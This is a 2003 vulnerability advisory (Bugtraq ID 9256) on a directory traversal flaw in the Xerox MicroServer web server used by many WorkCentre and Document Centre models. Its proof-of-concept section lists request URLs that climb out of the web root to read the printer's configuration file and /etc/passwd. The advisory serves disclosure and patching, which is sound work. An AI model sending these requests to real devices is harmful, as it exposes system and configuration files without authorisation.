Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

BID:9256

Info

Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

Bugtraq ID: 9256
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 19 2003 12:00AM
Updated: Dec 19 2003 12:00AM
Credit: The disclosure of this issue has been credited to J.A. Gutierrez <[email protected]>.
Vulnerable: Xerox WorkCentre Pro 90
Xerox WorkCentre Pro 75
Xerox WorkCentre Pro 65
Xerox WorkCentre Pro 55
Xerox WorkCentre Pro 45
Xerox WorkCentre Pro 40 Color
Xerox WorkCentre Pro 35
Xerox WorkCentre Pro 32 Color
Xerox WorkCentre M55
Xerox WorkCentre M45
Xerox WorkCentre M35
Xerox Document Centre 555
Xerox Document Centre 545
Xerox Document Centre 535
Xerox Document Centre 490 ST
Xerox Document Centre 480 ST
Xerox Document Centre 470 ST
Xerox Document Centre 460 ST
Xerox Document Centre 440 ST
Xerox Document Centre 432 ST
Xerox Document Centre 425 ST
Xerox Document Centre 420 ST
Xerox Document Centre 340 ST
Xerox Document Centre 332 ST
Xerox Document Centre 265 ST
Xerox Document Centre 255 ST
Xerox Document Centre 240 ST
Xerox Document Centre 230 ST
Xerox Document Centre 220 ST
Not Vulnerable:

Discussion

Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

It has been reported that Xerox_MicroServer/Xerox11 may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/..' or '/.' character sequences at the end of a URL request.

Exploit / POC

Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

The following proof of concept has been provided:
GET /assist/..
GET /assist/////.././../../.
http://www.example.com////../../data/config/microsrv.cfg
http://www.example.com////////../../../../../../etc/passwd

Solution / Fix

Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

Solution:
Xerox has made fixes available for the affected products. Users should contact the vendor to obtain fixes for their specific products. See the References section for details.

References

Xerox MicroServer Web Server Remote Directory Traversal Vulnerability

References:

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